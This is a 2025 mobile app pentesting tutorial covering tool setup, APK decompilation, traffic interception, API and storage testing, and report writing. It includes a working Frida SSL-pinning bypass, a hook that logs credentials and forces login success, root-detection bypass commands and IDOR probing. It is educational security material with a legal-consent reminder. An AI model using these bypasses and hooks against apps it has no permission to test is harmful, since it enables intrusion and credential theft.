Hack Your App Before Hackers Do: 2025's Mobile Pentesting Playbook

Mobile apps are omnipresent—from social media and enterprise to payment wallets. But most are still open to attack. This handbook is your step-by-step tutorial on pentesting mobile apps in 2025 with code snippets, tool instructions, and advice.

Tools Setup

Below is a quick Android (Linux/macOS) setup:

# Install ADB (Android Debug Bridge)
sudo apt install android-tools-adb

# Install MobSF (in a virtual environment)
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh

To decompile an Android APK:

# Use JADX
jadx openexploit.apk -d outputfolder

# Use APKTool
apktool d openexploit.apk -o decompiled

To capture HTTPS traffic (make sure Burp Suite is installed)

Prefer watching instead of reading? Here’s a quick video guide

Information Gathering

Simple reconnaissance on an APK file:

# Show APK permissions
aapt dump permissions openexploit.apk

# Analyze the manifest
unzip -p openexploit.apk AndroidManifest.xml

Check for:

• android:debuggable="true"
• Exported activities, services, and receivers.

Static Analysis

Decompile and read the source code for hardcoded secrets:

# Using JADX
jadx-gui openexploit.apk

Look for:

String apiKey = "openexploit_api_key";

Scan res/values/strings.xml, assets/, and .so native libraries for secrets.

Dynamic Analysis

Intercept API calls:

Use Burp Suite and manipulate app traffic. Set your proxy and monitor requests. Look for JWTs, session cookies, API parameters.

Bypass SSL Pinning using Frida:

# Android SSL pinning bypass (Frida script)
frida -U -n com.target.openexploit -l frida-ssl-bypass.js

Sample code snippet of frida-ssl-bypass.js:

Java.perform(function () {
  var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  var SSLContext = Java.use('javax.net.ssl.SSLContext');

  var TrustManager = Java.registerClass({
    name: 'org.wooyun.TrustManager',
    implements: [X509TrustManager],
    methods: {
      checkClientTrusted: function () {},
      checkServerTrusted: function () {},
      getAcceptedIssuers: function () { return []; }
    }
  });

  var TrustManagers = [TrustManager.$new()];
  var SSLContextInit = SSLContext.init;
  SSLContext.init.implementation = function (keyManager, trustManager, secureRandom) {
    SSLContextInit.call(this, keyManager, TrustManagers, secureRandom);
  };
});

API Testing

Utilize Burp Suite to fuzz and test API security.

Bypass authentication:

POST /api/user/profile HTTP/1.2
Host: www.openexploit.in
Authorization: Bearer [XXXX-XXXX-XXXX-XXXX]

• Try expired authentication tokens
• Remove token and validate if the endpoint still works
• Try Insure Direct Object Reference(changind IDs)

Use Curl for API testing:

curl -X GET https://api.openexploit.in/user/123 \
     -H "Authorization: Bearer authtoken-xxx-xx-xxx-xxx"

See if you are able to:

• View other user data
• Change roles
• Initiate admin endpoints

Local Data Storage Analysis

Pull data from Android emulator/device:

# List app packages
adb shell pm list packages

# Pull openexploit app data (only if rooted)
adb root
adb shell
cd /data/data/com.target.openexploit/

Check these:

• shared_prefs/ – does any.xml contain credentials?

• databases/ – dump SQLite DBs using sqlite3:

  sqlite3 openexploit.db sqlite> .tables sqlite> SELECT * FROM users;

Reverse Engineering and Code Injection

Inject into runtime using Frida + Objection.

# Install Objection
pip install objection

# Bypass root detection
objection -g com.target.openexploit explore

# Inside the shell
android root disable

Hooking methods using Frida:

Java.perform(function () {
  var Login = Java.use("com.app.login.LoginActivity");
  Login.checkCredentials.implementation = function (user, pass) {
    console.log("User: " + user + ", Pass: " + pass);
    return true;  // force login success
  };
});

Reporting

Write an organized report in OWASP MASVS standards. Here is a sample report format:

Title: Hardcoded API Key in Source Code
Risk: High
Affected Component: openexploit.apk > MainActivity.java
Proof: String apiKey = "XXXX-XXXX-XXXX-XXXX";
Impact: Exposed API key can permit unauthorized API calls.
Recommendation: Place API keys in a secure backend. Never store secrets in app code.

You can use tools such as Dradis or Faraday to document findings.

Mobile Common Vulnerabilities

• Insecure Storage
• SSL Pinning
• API Authentication
• Exported Components
• Hardcoded Secrets
• Debuggable Builds
• Code Injection

Resource Reference

• OWASP MASVS & MSTG
• Frida
• Mobile Security Testing Guide GitHub
• Android Pentesting Cheat Sheet
• TryHackMe

Conclusion

Mobile app pentesting in 2025 is an most demanding skill for ethical hackers and security engineers. As digital identity moves towards mobile-based, AI-empowered apps, and sophisticated APIs, finding weaknesses is more critical than ever before.

Begin small. Practice testing test apps. And always have legal consent prior to testing live apps.